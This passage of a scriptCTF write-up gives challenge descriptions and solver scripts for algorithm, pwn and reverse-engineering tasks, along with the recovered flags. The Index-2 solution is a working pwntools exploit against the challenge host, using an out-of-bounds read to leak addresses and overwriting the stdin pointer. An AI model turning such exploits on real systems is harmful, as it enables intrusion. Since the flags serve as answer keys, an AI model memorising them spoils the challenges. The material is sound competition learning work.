                return 1;
            }
            bytes_total += m;
            for(ssize_t i=0;i<m;i++){
                char c = buf[i];
                if(c>='0' && c<='9'){ cur = cur*10 + (c-'0'); in=true; }
                else{
                    if(in){
                        A.push_back((int)cur);
                        cur=0; in=false;
                        if(((int)A.size() % 100000) == 0){
                            long long pct = (long long)A.size()*100LL/n;
                            if(pct != last_progress){
                                last_progress = pct;
                                fprintf(stderr, "    - parsed %d / %d (%lld%%)\n", (int)A.size(), n, pct);
                            }
                        }
                        if((int)A.size() == n) break;
                    }
                }
            }
        }
        fprintf(stderr, "[*] Finished reading %d numbers (~%lld bytes).\n", (int)A.size(), bytes_total);
        if(!A.empty()){
            fprintf(stderr, "    first 5 nums: %d %d %d %d %d\n",
                A[0], A[1], A[2], A[3], A[4]);
        }
    }

    // streaming helpers
    auto stream_line_i64 = [&](const char* tag, auto gen)->bool{
        fprintf(stderr, "[*] Streaming round: %s\n", tag);
        string out; out.reserve(1<<20);
        const int REPORT_EVERY = 50000;
        for(int i=0;i<WINDOWS;i++){
            long long v = gen(i);
            char tmp[40]; int len = snprintf(tmp,sizeof(tmp),"%lld ",(long long)v);
            out.append(tmp,len);
            if(((i+1)%REPORT_EVERY)==0){
                fprintf(stderr, "    - %s progress: %d / %d (%.1f%%)\n",
                        tag, i+1, WINDOWS, 100.0*(i+1)/WINDOWS);
            }
            if(out.size() > (1<<20)){
                if(!send_str(sock,out,tag)) return false;
                out.clear();
            }
        }
        out.push_back('\n');
        if(!send_str(sock,out,tag)) return false;
        fprintf(stderr, "[*] Completed round: %s\n", tag);
        return true;
    };
    auto stream_line_i32 = [&](const char* tag, auto gen)->bool{
        fprintf(stderr, "[*] Streaming round: %s\n", tag);
        string out; out.reserve(1<<20);
        const int REPORT_EVERY = 50000;
        for(int i=0;i<WINDOWS;i++){
            int v = (int)gen(i);
            char tmp[20]; int len = snprintf(tmp,sizeof(tmp),"%d ",v);
            out.append(tmp,len);
            if(((i+1)%REPORT_EVERY)==0){
                fprintf(stderr, "    - %s progress: %d / %d (%.1f%%)\n",
                        tag, i+1, WINDOWS, 100.0*(i+1)/WINDOWS);
            }
            if(out.size() > (1<<20)){
                if(!send_str(sock,out,tag)) return false;
                out.clear();
            }
        }
        out.push_back('\n');
        if(!send_str(sock,out,tag)) return false;
        fprintf(stderr, "[*] Completed round: %s\n", tag);
        return true;
    };

    // Precompute phi and divisors for GCD round
    fprintf(stderr, "[*] Precomputing phi and divisors up to %d...\n", VMAX);
    vector<int> phi(VMAX+1);
    for(int i=0;i<=VMAX;i++) phi[i]=i;
    for(int p=2;p<=VMAX;p++) if(phi[p]==p) for(int m=p;m<=VMAX;m+=p) phi[m]-=phi[m]/p;
    vector<vector<int>> divs(VMAX+1);
    for(int d=1; d<=VMAX; d++) for(int m=d; m<=VMAX; m+=d) divs[m].push_back(d);
    fprintf(stderr, "[*] Precompute done.\n");

    auto median_kind = getenv("MEDIAN_KIND");
    bool lowerMedian = (median_kind && string(median_kind)=="lower");

    // ---------------- Rounds ----------------

    // 1) Sums
    if(!stream_line_i64("Sums", [&](int i)->i64{
        static bool init=false; static i64 s=0; static int l=0, r=W;
        if(!init){ for(int k=0;k<W;k++) s+=A[k]; init=true; return s; }
        s += A[r++] - A[l++]; return s;
    })) return 0;
    { int rc = wait_until_round_or_error(sock, 2, "Sums"); if(rc!=0){ if(rc>0) goto DRAIN_AND_EXIT; else return 0; } }

    // 2) Xors
    if(!stream_line_i32("Xors", [&](int i)->int{
        static bool init=false; static int x=0; static int l=0, r=W;
        if(!init){ for(int k=0;k<W;k++) x^=A[k]; init=true; return x; }
        x ^= A[l++] ^ A[r++]; return x;
    })) return 0;
    { int rc = wait_until_round_or_error(sock, 3, "Xors"); if(rc!=0){ if(rc>0) goto DRAIN_AND_EXIT; else return 0; } }

    // 3) Means (floor)
    if(!stream_line_i64("Means", [&](int i)->i64{
        static bool init=false; static i64 s=0; static int l=0, r=W;
        if(!init){ for(int k=0;k<W;k++) s+=A[k]; init=true; return s/(i64)W; }
        s += A[r++] - A[l++]; return s/(i64)W;
    })) return 0;
    { int rc = wait_until_round_or_error(sock, 4, "Means"); if(rc!=0){ if(rc>0) goto DRAIN_AND_EXIT; else return 0; } }

    // 4) Medians (upper by default; lower if MEDIAN_KIND=lower)
    if(!stream_line_i32("Medians", [&](int i)->int{
        static bool init=false; static Fenwick bit(VMAX+1); static int l=0, r=W;
        if(!init){ for(int k=0;k<W;k++) bit.add(A[k], +1); init=true; }
        else { bit.add(A[l++], -1); bit.add(A[r++], +1); }
        int rank = lowerMedian ? (W/2) : (W/2 + 1);
        return bit.kth(rank);
    })) return 0;
    { int rc = wait_until_round_or_error(sock, 5, "Medians"); if(rc!=0){ if(rc>0) goto DRAIN_AND_EXIT; else return 0; } }

    // 5) Modes (tie -> largest)
    if(!stream_line_i32("Modes", [&](int i)->int{
        static bool init=false;
        static SegTreeMode seg(VMAX+1);
        static vector<int> cnt(VMAX+1,0);
        static int l=0, r=W;
        auto add=[&](int v){ cnt[v]++; seg.setVal(v, cnt[v]); };
        auto rem=[&](int v){ cnt[v]--; seg.setVal(v, cnt[v]); };
        if(!init){ for(int k=0;k<W;k++) add(A[k]); init=true; }
        else { rem(A[l++]); add(A[r++]); }
        return seg.modeVal();
    })) return 0;
    { int rc = wait_until_round_or_error(sock, 6, "Modes"); if(rc!=0){ if(rc>0) goto DRAIN_AND_EXIT; else return 0; } }

    // 6) Mex
    if(!stream_line_i32("Mex", [&](int i)->int{
        static bool init=false;
        static vector<int> cnt(VMAX+2,0);
        static priority_queue<int, vector<int>, greater<int>> pq;
        static int l=0, r=W;
        auto push_missing=[&](int v){ if(v>=0 && v<=VMAX+1 && cnt[v]==0) pq.push(v); };
        auto cur_mex=[&](){ while(!pq.empty() && cnt[pq.top()]>0) pq.pop(); return pq.empty()? VMAX+1 : pq.top(); };
        if(!init){
            for(int v=0; v<=VMAX+1; v++) pq.push(v);
            for(int k=0;k<W;k++) cnt[A[k]]++;
            init=true;
        } else {
            int out=A[l++], in=A[r++];
            if(--cnt[out]==0) push_missing(out);
            cnt[in]++; // lazy pop when queried
        }
        return cur_mex();
    })) return 0;
    { int rc = wait_until_round_or_error(sock, 7, "Mex"); if(rc!=0){ if(rc>0) goto DRAIN_AND_EXIT; else return 0; } }

    // 7) Distinct count
    if(!stream_line_i32("Distinct", [&](int i)->int{
        static bool init=false;
        static vector<int> cnt(VMAX+1,0);
        static int distinct=0;
        static int l=0, r=W;
        auto add=[&](int v){ if(cnt[v]++==0) distinct++; };
        auto rem=[&](int v){ if(--cnt[v]==0) distinct--; };
        if(!init){ for(int k=0;k<W;k++) add(A[k]); init=true; }
        else { rem(A[l++]); add(A[r++]); }
        return distinct;
    })) return 0;
    { int rc = wait_until_round_or_error(sock, 8, "Distinct"); if(rc!=0){ if(rc>0) goto DRAIN_AND_EXIT; else return 0; } }

    // 8) Sum of pairwise GCD
    // Use identity: sum_{i<j} gcd(x_i,x_j) = sum_{m>=1} phi(m) * C(c_m, 2),
    // where c_m = count of values divisible by m in the window.
    // Handle zeros separately: gcd(0,y) = y, gcd(0,0) = 0.
    if(!stream_line_i64("GCDpairSum", [&](int i)->i64{
        static bool init=false;
        static vector<int> cdiv(VMAX+1,0); // count of numbers divisible by m (m>=1)
        static i64 posSum=0, gcdPos=0;     // Σ φ(m)*C(cdiv[m],2) over m>=1, and sum of positives
        static int zeros=0;
        static int l=0, r=W;

        auto add=[&](int v){
            if(v==0){ zeros++; return; }
            posSum += v;
            // increase cdiv[d] by 1 for all d|v; delta in Σ is φ(d)*old_cdiv[d]
            for(int d: divs[v]){ gcdPos += (i64)phi[d] * cdiv[d]; cdiv[d]++; }
        };
        auto rem=[&](int v){
            if(v==0){ zeros--; return; }
            posSum -= v;
            // decrease cdiv[d] by 1; delta is -φ(d)*(new_cdiv[d]) where new = old-1
            for(int d: divs[v]){ cdiv[d]--; gcdPos -= (i64)phi[d] * cdiv[d]; }
        };

        if(!init){
            for(int k=0;k<W;k++) add(A[k]);
            init=true;
        } else {
            rem(A[l++]); add(A[r++]);
        }
        return gcdPos + (i64)zeros * posSum;
    })) return 0;
    // After last line, just drain to EOF (should include the flag)
DRAIN_AND_EXIT:
    {
        char buf[1<<16]; ssize_t m;
        while((m = ::recv(sock, buf, sizeof(buf), 0)) > 0){
            ssize_t w = ::write(STDOUT_FILENO, buf, m);
            (void)w;
        }
    }
    return 0;
}

// ./solve play.scriptsorcerers.xyz 10251
// scriptCTF{i_10v3_m4_w1nd0wwwwwwww5_d2062f1a76c5}

Back From Where (79 solves)

Description:

Author: Connor Chang

On a grid, you begin on the top left, moving right and down until reaching the bottom right, multiplying every number you encounter on the path. Find the maximum number of trailing zeroes for every node. Note: You might want to check out BackFromBrazil from n00bzctf 2024.

(if you have any questions about input/output, plz open a ticket)

Attachments

import random
import sys
import subprocess
import time

n = 100

grid_lines = []
for _ in range(n):
    row = []
    for _ in range(n):
        flip = random.randint(1, 2)
        if flip == 1:
            row.append(str(random.randint(1, 696) * 2))
        else:
            row.append(str(random.randint(1, 696) * 5))
    grid_lines.append(' '.join(row))

for line in grid_lines:
    sys.stdout.write(line + '\n')

start = int(time.time())


proc = subprocess.run(['./solve'], input='\n'.join(grid_lines).encode(), stdout=subprocess.PIPE)
ans = []
all_ans = proc.stdout.decode()
for line in all_ans.split('\n')[:100]:
    ans.append(list(map(int, line.strip().split(' '))))

ur_output = []
for i in range(n):
    ur_output.append(list(map(int, input().split())))

if int(time.time()) - start > 20:
    print("Time Limit Exceeded!")
    exit(-1)

if ur_output == ans:
    with open('flag.txt', 'r') as f:
        print(f.readline())
else:
    print("Wrong Answer!")

Solution:

Will release writeup once authors verify teams.

Pwn

Index (313 solves)

Description:

Author: NoobMaster

I literally hand you the flag, just exploit it already!

Attachments

Solution:

There is a backdoor in the code. Upload the binary to dogbolt.org to get a decompilation that you can upload to AI.

Index-2 (75 solves)

Description:

Author: NoobMaster

This time, you get the file pointer, not the flag itself.

Attachments

Solution:

#!/usr/bin/env python3
from pwn import *

context.log_level = "debug"

BIN  = "./index-2"
LIBC = "./libc.so.6"
HOST, PORT = "play.scriptsorcerers.xyz", 10231

elf  = ELF(BIN,  checksec=False)
libc = ELF(LIBC, checksec=False)

BANNER = b"1. Store data"

OFF_NUMS     = elf.symbols["nums"]
OFF_F        = elf.symbols["f"]
OFF_PUTS_GOT = elf.got["puts"]

def start(): return remote(HOST, PORT)

def menu(io): io.recvuntil(b"4. Exit")

def rd(io, idx):
    menu(io); io.sendline(b"2")
    io.recvuntil(b"Index: "); io.sendline(str(idx).encode())
    line = io.recvline(timeout=2) or b""
    log.debug(f"[read {idx}] {line!r}")
    return line

def wr7(io, base, addr, data7: bytes):
    assert len(data7) <= 7
    idx = (addr - (base + OFF_NUMS)) // 8
    log.info(f"[store7] addr={hex(addr)} idx={idx} bytes={data7.hex()}")
    menu(io); io.sendline(b"1")
    io.recvuntil(b"Index: "); io.sendline(str(idx).encode())
    io.recvuntil(b"Data: "); io.send(data7 + b"\n")

def leak_pie(io):
    for i in range(-1, -500, -1):
        line = rd(io, i)
        if not line.startswith(b"Data: "): continue
        body = line[6:].rstrip(b"\n")
        pos  = body.find(BANNER)
        if 2 <= pos <= 6:
            roff = next(elf.search(BANNER))
            leak = u64(body[:pos].ljust(8, b"\x00"))
            base = (leak - roff) & ~0xfff
            log.success(f"PIE base = {hex(base)} (idx {i})")
            return base
    raise SystemExit("no PIE leak")

def leak_ptr(io, base, addr):
    idx  = (addr - (base + OFF_NUMS)) // 8
    line = rd(io, idx)
    raw  = line[6:].split(b"\x00",1)[0]
    val  = u64(raw[:6].ljust(8, b"\x00")) if raw else 0
    log.info(f"LEAK @{hex(addr)} -> {hex(val)} (bytes={raw[:6].hex() if raw else b''})")
    return val

def solve():
    io   = start()

    # 1) PIE & libc
    base = leak_pie(io)
    puts = leak_ptr(io, base, base + OFF_PUTS_GOT)
    libc_base = puts - libc.symbols["puts"]
    log.success(f"puts@GLIBC = {hex(puts)}")
    log.success(f"libc base  = {hex(libc_base)}")

    # IMPORTANT: use **program's** copy-relocated stdin pointer
    stdin_prog = base + elf.symbols["stdin"]
    log.success(f"prog stdin ptr @ {hex(stdin_prog)}")

    # 2) backdoor -> open flag into global f
    menu(io); io.sendline(b"1337")

    # 3) leak FILE* f (should be heap-ish 0x00005555…)
    f_ptr = leak_ptr(io, base, base + OFF_F)
    if not f_ptr:
        log.failure("f == NULL (flag not opened)"); io.close(); return
    log.success(f"f (FILE*) = {hex(f_ptr)}")

    # 4) single write: point program's stdin pointer to f
    wr7(io, base, stdin_prog, p64(f_ptr)[:7])

    # 5) do NOT re-sync to menu; next fgets(choice,..,stdin) reads from flag
    data = b""
    try:
        data += io.recv(timeout=3) or b""
        data += io.recv(timeout=3) or b""
    except EOFError:
        pass

    print("\n==== AFTER SWAP ====")
    try: print(data.decode(errors="ignore"), end="")
    except: print(repr(data))
    print("====================\n")

    if b"Invalid choice: " in data:
        tail = data.split(b"Invalid choice: ",1)[1]
        print("FLAG:", tail.splitlines()[0].decode(errors="ignore").strip())
    else:
        # give one more chance in case of slow flush
        more = io.recvrepeat(2)
        if b"Invalid choice: " in more:
            tail = more.split(b"Invalid choice: ",1)[1]
            print("FLAG:", tail.splitlines()[0].decode(errors="ignore").strip())
        else:
            log.warning("No 'Invalid choice:' seen. Dumping tail:")
            try: print(more.decode(errors="ignore"))
            except: print(repr(more))

    io.close()

if __name__ == "__main__":
    solve()

# scriptCTF{4rr4y_OOB_l3v3l_up!_cb357fc3e29e}

Rev

Plastic Shield (308 solves)

Description:

Ashray Shah

OPSec is useless unless you do it correctly.

Attachments

View Hint: Hint 1

The algorithm implementation itself is not the problem, I would look elsewhere.

Solution:

#!/usr/bin/env python3
import re, sys, string
from binascii import unhexlify
from hashlib import blake2b

try:
    from Crypto.Cipher import AES
except Exception as e:
    print("This script requires pycryptodome (package name: pycryptodome).")
    raise

def extract_ciphertext(blob: bytes) -> bytes:
    # Find the longest hex chunk in the binary (the encrypted blob is stored as hex)
    hex_chunks = re.findall(rb"[0-9a-fA-F]{32,}", blob)
    if not hex_chunks:
        raise SystemExit("No hex blobs found in the binary")
    # Pick the longest chunk (or first if ties)
    hex_blob = max(hex_chunks, key=len)
    # If it has odd length, trim the last nibble
    if len(hex_blob) % 2 == 1:
        hex_blob = hex_blob[:-1]
    return unhexlify(hex_blob)

def decrypt_with_char(ciphertext: bytes, ch: str) -> bytes:
    h = blake2b(ch.encode("utf-8"), digest_size=64).digest()
    key, iv = h[:32], h[32:48]
    pt = AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext)
    # PKCS#7 unpad (tolerant)
    pad = pt[-1]
    if 1 <= pad <= 16 and pt.endswith(bytes([pad])*pad):
        pt = pt[:-pad]
    return pt

def main():
    path = sys.argv[1] if len(sys.argv) > 1 else "plastic-shield"
    with open(path, "rb") as f:
        data = f.read()
    ct = extract_ciphertext(data)
    print(f"[+] Extracted ciphertext: {ct.hex()} ({len(ct)} bytes)")
    printable = "".join(chr(i) for i in range(32,127))
    for ch in printable:
        pt = decrypt_with_char(ct, ch)
        if b"CTF{" in pt or b"scriptCTF{" in pt or b"ctf{" in pt.lower():
            print(f"[+] Hit! special char = {repr(ch)}")
            print(pt.decode(errors="replace"))
            # show a sample password that will work (length 10 -> floor(0.6*10)=6)
            L = 10
            i = int(0.6*L)
            sample = ["A"]*L
            sample[i] = ch
            print(f"[+] Example working password (len={L}): {''.join(sample)}")
            return
    print("[-] No flag-like plaintext found. Try broadening heuristics.")

if __name__ == "__main__":
    main()

#python plastic_shield_solver.py 
#[+] Extracted ciphertext: 713d7f2c0f502f485a8af0c284bd3f1e7b03d27204a616a8340beaae23f130edf65401c1f99fe99f63486a385ccea217 (48 bytes)
#[+] Hit! special char = '`'
#  scriptCTF{20_cau541i71e5_d3f3n5es_d0wn}
#[+] Example working password (len=10): AAAAAA`AAA

ForeignDesign (135 solves)

Description:

Author: Ashray Shah

Java is fun, but sometimes I crave more.

Attachments

Solution:

#!/usr/bin/env python3
"""
ForeignDesign.jar solver
- Reads the inner native lib from the JAR
- Extracts the interleaved check constants
- Inverts the native/Java transforms
- Depermutes characters
- Prints the flag
"""
import sys
import struct
from io import BytesIO
from zipfile import ZipFile

# ---------- helpers to open the JAR / inner zip ----------

def read_native_blob(jar_path: str) -> bytes:
    with ZipFile(jar_path, "r") as z:
        native_blob = z.read("native")              # this entry is a zip itself
    with ZipFile(BytesIO(native_blob), "r") as z2:
        # Prefer linux64, fall back if needed
        for path in ("linux64/libforeign.so", "win32/foreign.dll", "linux32/libforeign.so"):
            if path in z2.namelist():
                return z2.read(path)
    raise FileNotFoundError("No supported native library found inside 'native' zip")

# ---------- the two transforms (as implemented by the challenge) ----------

def inv_java_s2(val: int, i: int) -> int:
    """
    Java-side helper seen in bytecode:
        t = c + 2*(i%7)
        t ^= (44 if i%2==0 else 19)
        return t + (i & 1)
    Invert it to recover the char c for odd/even i accordingly.
    """
    t = (val - (i & 1)) & 0xFFFFFFFF
    t ^= (44 if (i % 2) == 0 else 19)
    c = (t - 2 * (i % 7)) & 0xFFFFFFFF
    return c & 0xFFFF  # Java char is 16-bit

def inv_native_even(val: int, i: int) -> int:
    """
    Native-side branch (for the other parity), inferred from lib constants:
        T = (3*i + ((i+0x13) ^ c)) ^ 0x5A
    Invert it to recover c.
    """
    t = (val ^ 0x5A) & 0xFFFFFFFF
    t = (t - 3 * i) & 0xFFFFFFFF
    c = (t ^ ((i + 0x13) & 0xFFFFFFFF)) & 0xFFFFFFFF
    return c & 0xFFFF  # Java char width

def j_index(i: int, N: int) -> int:
    """Index permutation used by ck(): j = (5*i + 3) % N"""
    return (5 * i + 3) % N

# ---------- pull the interleaved constants from the native lib ----------

def extract_interleaved_Ts(lib_bytes: bytes) -> list[int]:
    """
    In the ELF/PE, the check constants appear as 32-bit little-endian ints:
    [0,0,0,  e0, o0, e1, o1, e2, o2, ..., e_last]  (zeros are just padding)
    where e_k are for even i, o_k for odd i.

    We locate the “three zeros then a long run of <=255” pattern and
    grab the following values; zeros inside the run are filtered out.
    """
    # Interpret the file as a stream of 32-bit little-endian unsigned ints
    count = len(lib_bytes) // 4
    vals = struct.unpack("<" + "I" * count, lib_bytes[: count * 4])

    hit_i = None
    hit_len = 0
    for i in range(0, len(vals) - 64):
        if vals[i] == 0 and vals[i+1] == 0 and vals[i+2] == 0 and 0 < vals[i+3] <= 255:
            # Count how long the “small ints” run lasts
            j = i + 3
            while j < len(vals) and vals[j] <= 255:
                j += 1
            if (j - (i + 3)) >= 35:  # long enough to be interesting
                hit_i, hit_len = i + 3, j - (i + 3)
                break

    if hit_i is None:
        raise RuntimeError("Could not locate interleaved constants in native library")

    raw = list(vals[hit_i : hit_i + hit_len])
    # The actual sequence has occasional 0 padding: drop zeros and keep the first plausible N
    cleaned = [v for v in raw if v != 0]
    return cleaned

# ---------- reconstruct the flag ----------

def reconstruct_flag(Ts: list[int]) -> str:
    """
    Ts[i] is the target integer for position i (after parity split),
    and ck() reads characters at j=(5*i+3)%N. We invert and depermute.
    """
    # Guess N: try reasonable lengths (the challenge uses 37, but make it robust)
    for N in range(31, min(64, len(Ts)) + 1):
        if (5 % N) == 0:  # permutation must be bijective: gcd(5, N)==1
            continue
        # We need exactly N Ts; if we have more, just take a prefix
        seq = Ts[:N]
        out = [None] * N
        for i, val in enumerate(seq):
            c = inv_java_s2(val, i) if (i % 2) else inv_native_even(val, i)
            out[j_index(i, N)] = c & 0xFF  # reduce to ASCII byte
        if all(ch is not None for ch in out):
            s = "".join(chr(ch) for ch in out)
            # Heuristics: looks like a flag?
            if s.startswith("scriptCTF{") and s.endswith("}"):
                return s
    # Fallback: try the full length
    N = len(Ts)
    if (5 % N) != 0:
        out = [None] * N
        for i, val in enumerate(Ts[:N]):
            c = inv_java_s2(val, i) if (i % 2) else inv_native_even(val, i)
            out[j_index(i, N)] = c & 0xFF
        s = "".join(chr(ch) for ch in out if ch is not None)
        return s
    raise RuntimeError("Unable to reconstruct flag")

def main():
    jar_path = sys.argv[1] if len(sys.argv) > 1 else "ForeignDesign.jar"
    lib = read_native_blob(jar_path)
    Ts = extract_interleaved_Ts(lib)
    flag = reconstruct_flag(Ts)
    print(flag)

if __name__ == "__main__":
    main()
# scriptCTF{nO_MOr3_n471v3_tr4N5l471on}

Plastic Shield 2 (98 solves)

Description:

Author: Ashray Shah

Okay! Fixed last time's issue. Seriously though, I swear this one is unbreakable.

Attachments

Solution:

Extract the ciphertext from the binary, such as with: strings -n 32 plastic-shield-2 | grep -E '^[0-9a-f]{64}$'

Then:

  • When you enter a password, the program hashes it with BLAKE2b, turns that into hex, then (very weakly) pulls only the last few hex chars to build an AES key and IV.

  • That key/IV are then used in AES-CBC decryption of the fixed ciphertext, and the result is shown as "Decrypted text: ...".

  • Because only ~12 bits of entropy from the hash are actually used, the keyspace is tiny → brute force quickly recovers the real plaintext = the flag.

So: ciphertext is a static blob in the binary, and the “logic” is just hash(password) → (tiny slice) → AES-CBC decrypt that blob.

#!/usr/bin/env python3
# plastic-shield2 solve: brute-force the (key[0], last-nibble)<<4 weakness

import sys
import re

CIPHERTEXT_HEX = "e2ea0d318af80079fb56db5674ca8c274c5fd0e92019acd01e89171bb889f6b1"

def unpad_pkcs7(data: bytes) -> bytes:
    if not data:
        raise ValueError("empty")
    pad = data[-1]
    if pad < 1 or pad > 16 or data[-pad:] != bytes([pad]) * pad:
        raise ValueError("bad pad")
    return data[:-pad]

# --- AES backend (tries PyCryptodome, then cryptography) ---
def aes_cbc_decrypt(key: bytes, iv: bytes, ct: bytes) -> bytes:
    try:
        from Crypto.Cipher import AES  # pycryptodome
        cipher = AES.new(key, AES.MODE_CBC, iv=iv)
        return cipher.decrypt(ct)
    except Exception:
        # fallback: cryptography
        try:
            from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
            from cryptography.hazmat.backends import default_backend
            cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
            decryptor = cipher.decryptor()
            return decryptor.update(ct) + decryptor.finalize()
        except Exception as e2:
            raise SystemExit(
                "No AES backend available.\n"
                "Install one of:\n"
                "  pip install pycryptodome\n"
                "or\n"
                "  pip install cryptography"
            )

def search_flag(ct_hex: str) -> str:
    ct = bytes.fromhex(ct_hex)

    def try_mode(key_len: int) -> str | None:
        # Derived layout from reversing:
        # key[0] = two hex chars -> any 0..255
        # key[1] = (last hex char) << 4 -> values {0, 16, ..., 240}
        # rest of key bytes are zeros
        # IV is built the same way (iv[0]=key[0], iv[1]=key[1], rest zeros)
        for k0 in range(256):
            for last_nibble in range(16):
                k1 = last_nibble << 4
                key = bytes([k0, k1] + [0] * (key_len - 2))
                iv  = bytes([k0, k1] + [0] * 14)  # IV is always 16 bytes
                pt_raw = aes_cbc_decrypt(key, iv, ct)
                try:
                    pt = unpad_pkcs7(pt_raw)
                except ValueError:
                    continue
                s = pt.decode("utf-8", errors="ignore")
                m = re.search(r"scriptCTF\{[^}]+\}", s)
                if m:
                    return m.group(0)
        return None

    # Try AES-128 first, then AES-256 fallback
    flag = try_mode(16)
    if flag:
        return flag
    flag = try_mode(32)
    if flag:
        return flag
    raise SystemExit("Flag not found (did the ciphertext change?)")

if __name__ == "__main__":
    flag = search_flag(CIPHERTEXT_HEX)
    print(flag)

vm (68 solves)

Description:

Author: Connor Chang

my friend sent this wierd binary that i cant run. plz help me get his flag

Attachments

Solution:

Extract the zip then run this script to get the flag:

from pathlib import Path
import sys

code_path = Path("./check.bin")

def parse_instructions(code):
    insns = []
    n=len(code); pc=0
    while pc<n:
        op=code[pc]; pc+=1
        if op==0x10:
            r=code[pc]&7; imm=int.from_bytes(code[pc+1:pc+5],"little"); pc+=5
            insns.append((pc-6, op, (r, imm)))
        elif op in (0x20,0x30):
            r1=code[pc]&7; r2=code[pc+1]&7; pc+=2
            insns.append((pc-3, op, (r1,r2)))
        elif op==0x40:
            tgt=int.from_bytes(code[pc:pc+4],"little"); pc+=4
            insns.append((pc-5, op, (tgt,)))
        elif op==0x50:
            r1=code[pc]&7; r2=code[pc+1]&7; tgt=int.from_bytes(code[pc+2:pc+6],"little"); pc+=6
            insns.append((pc-7, op, (r1,r2,tgt)))
        elif op==0x60:
            r=code[pc]&7; idx=int.from_bytes(code[pc+1:pc+5],"little"); pc+=5
            insns.append((pc-6, op, (r, idx)))
        elif op==0x70:
            insns.append((pc-1, op, ()))
        else:
            insns.append((pc-1, op, ()))
            break
    return insns

# Simple symbolic expression helpers
def Const(v): return ('const', v & 0xffffffff)
def Var(i): return ('var', i)
def is_const(e): return e[0]=='const'
def is_var(e): return e[0]=='var'
def mk_xor(a,b):
    if is_const(a) and is_const(b): return Const(a[1]^b[1])
    if is_const(a) and a[1]==0: return b
    if is_const(b) and b[1]==0: return a
    return ('op','xor',a,b)
def mk_add(a,b):
    if is_const(a) and is_const(b): return Const((a[1]+b[1]) & 0xffffffff)
    if is_const(b) and b[1]==0: return a
    if is_const(a) and a[1]==0: return b
    return ('op','add',a,b)
def simplify(e):
    if e[0] in ('const','var'): return e
    _,op,a,b = e
    a = simplify(a); b = simplify(b)
    if op=='xor': return mk_xor(a,b)
    if op=='add': return mk_add(a,b)
    return ('op',op,a,b)

def run_symbolic(code):
    regs = [Const(0) for _ in range(8)]
    n=len(code); pc=0
    constraints=[]
    while 0<=pc<n:
        op=code[pc]; pc+=1
        if op==0x10:
            r=code[pc]&7; pc+=1
            imm=int.from_bytes(code[pc:pc+4],"little"); pc+=4
            regs[r]=Const(imm)
        elif op in (0x20,0x30):
            r1=code[pc]&7; r2=code[pc+1]&7; pc+=2
            regs[r1]=simplify( (mk_add if op==0x20 else mk_xor)(regs[r1], regs[r2]) )
        elif op==0x40:
            tgt=int.from_bytes(code[pc:pc+4],"little"); pc=tgt
        elif op==0x50:
            r1=code[pc]&7; r2=code[pc+1]&7; pc+=2
            tgt=int.from_bytes(code[pc:pc+4],"little"); pc+=4
            constraints.append((regs[r1], regs[r2], pc-7))
        elif op==0x60:
            r=code[pc]&7; pc+=1
            idx=int.from_bytes(code[pc:pc+4],"little"); pc+=4
            regs[r]=Var(idx)
        elif op==0x70:
            break
        else:
            break
    return constraints

def eval_expr(e, assign):
    e = simplify(e)
    if e[0]=='const': return e[1]
    if e[0]=='var': return assign.get(e[1])
    _,op,a,b = e
    va = eval_expr(a, assign); vb = eval_expr(b, assign)
    if va is None or vb is None: return None
    return (va + vb) & 0xffffffff if op=='add' else (va ^ vb) & 0xffffffff

def vars_in_expr(e, s=None):
    if s is None: s=set()
    e=simplify(e)
    if e[0]=='var': s.add(e[1])
    elif e[0]=='op':
        vars_in_expr(e[2], s); vars_in_expr(e[3], s)
    return s

constraints = run_symbolic(bytearray(code_path.read_bytes()))

# Backtracking solver with printable ASCII domain
domain = list(range(32,127))
from collections import defaultdict
var_to_cons = defaultdict(list)
cons = [(a,b,addr, vars_in_expr(a)|vars_in_expr(b)) for (a,b,addr) in constraints]
for idx, c in enumerate(cons):
    _,_,_,vs = c
    for v in vs: var_to_cons[v].append(idx)

def pick_constraint(assign):
    best=None
    for (a,b,addr,vs) in cons:
        va=eval_expr(a,assign); vb=eval_expr(b,assign)
        if va is not None and vb is not None:
            if va != vb: return ('conflict',(a,b,addr))
            continue
        unknowns=[v for v in vs if v not in assign]
        if not unknowns: continue
        k=len(unknowns)
        if best is None or k<best[0]:
            best=(k,(a,b,addr,unknowns))
            if k==1: break
    if best is None: return None
    return ('constraint', best[1])

def backtrack(assign):
    pick = pick_constraint(assign)
    if pick is None: return assign
    kind,payload = pick
    if kind=='conflict': return None
    a,b,addr,unknowns = payload
    if len(unknowns)==1:
        v = unknowns[0]
        for cand in domain:
            na=dict(assign); na[v]=cand
            va=eval_expr(a,na); vb=eval_expr(b,na)
            if va is not None and vb is not None and va != vb: 
                continue
            sol=backtrack(na)
            if sol is not None: return sol
        return None
    elif len(unknowns)==2:
        v1,v2=unknowns
        for cand1 in domain:
            na=dict(assign); na[v1]=cand1
            # Fast loop for v2 with pruning
            for cand2 in domain:
                nb=dict(na); nb[v2]=cand2
                va=eval_expr(a,nb); vb=eval_expr(b,nb)
                if va is not None and vb is not None and va != vb:
                    continue
                sol=backtrack(nb)
                if sol is not None: return sol
        return None
    else:
        # pick the most constrained var to branch on
        v = min(unknowns, key=lambda x: len(var_to_cons[x]))
        for cand in domain:
            na=dict(assign); na[v]=cand
            # quick prune fully determined constraints
            bad=False
            for (a2,b2,addr2,vs2) in cons:
                if all(vv in na for vv in vs2):
                    if eval_expr(a2,na) != eval_expr(b2,na): bad=True; break
            if bad: continue
            sol=backtrack(na)
            if sol is not None: return sol
        return None

solution = backtrack({})
if solution is None:
    print("No solution found.")
    sys.exit(1)

# Build the recovered table string
flag_bytes = bytes(solution.get(i, ord('?')) for i in range(23))
flag = flag_bytes.decode('ascii', 'replace')
print("Recovered string:", flag)

# Verify by simulating the VM with this table
def run_vm(code, table_bytes):
    regs=[0]*8; pc=0; n=len(code)
    def rd32(p): return int.from_bytes(code[p:p+4],'little')
    steps=0
    while 0<=pc<n and steps<100000:
        steps+=1
        op=code[pc]; pc+=1
        if op==0x10:
            r=code[pc]&7; pc+=1
            regs[r]=rd32(pc); pc+=4
        elif op==0x20:
            r1=code[pc]&7; r2=code[pc+1]&7; pc+=2
            regs[r1]=(regs[r1]+regs[r2]) & 0xffffffff
        elif op==0x30:
            r1=code[pc]&7; r2=code[pc+1]&7; pc+=2
            regs[r1]=(regs[r1]^regs[r2]) & 0xffffffff
        elif op==0x40:
            pc=rd32(pc)
        elif op==0x50:
            r1=code[pc]&7; r2=code[pc+1]&7; pc+=2
